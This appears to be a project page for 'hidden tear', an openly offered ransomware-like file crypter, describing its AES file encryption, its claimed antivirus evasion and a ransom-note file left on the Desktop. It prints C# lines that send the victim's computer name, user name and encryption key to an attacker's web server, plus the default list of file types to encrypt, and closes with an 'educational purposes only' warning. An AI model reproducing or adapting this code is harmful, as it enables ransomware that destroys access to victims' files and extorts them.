_     _     _     _              _                  
    | |   (_)   | |   | |            | |                 
    | |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __ 
    | '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
    | | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |   
    |_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|   

It’s a ransomware-like file crypter sample which can be modified for specific purposes.
Features

• Uses AES algorithm to encrypt files.
• Sends encryption key to a server.
• Encrypted files can be decrypt in decrypter program with encryption key.
• Creates a text file in Desktop with given message.
• Small file size (12 KB)
• Doesn’t detected to antivirus programs (15/08/2015) http://nodistribute.com/result/6a4jDwi83Fzt

Demonstration Video:

 
Usage:

• You need to have a web server which supports scripting languages like php,python etc. Change this line with your URL. (You better use Https connection to avoid eavesdropping)string targetURL = "https://www.example.com/hidden-tear/write.php?info=";
• The script should writes the GET parameter to a text file. Sending process running inSendPassword() function

  string info = computerName + "-" + userName + " " + password;
  var fullUrl = targetURL + info;
  var conent = new System.Net.WebClient().DownloadString(fullUrl);
  

• Target file extensions can be change. Default list:

var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};

Legal Warning
While this may be helpful for some, there are significant risks. hidden tear may be used only for Educational Purposes. Do not use it as a ransomware! You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.
Downalod Hidden-Tear at Github
Credits to:
Utku Sen – A Turkish security researcher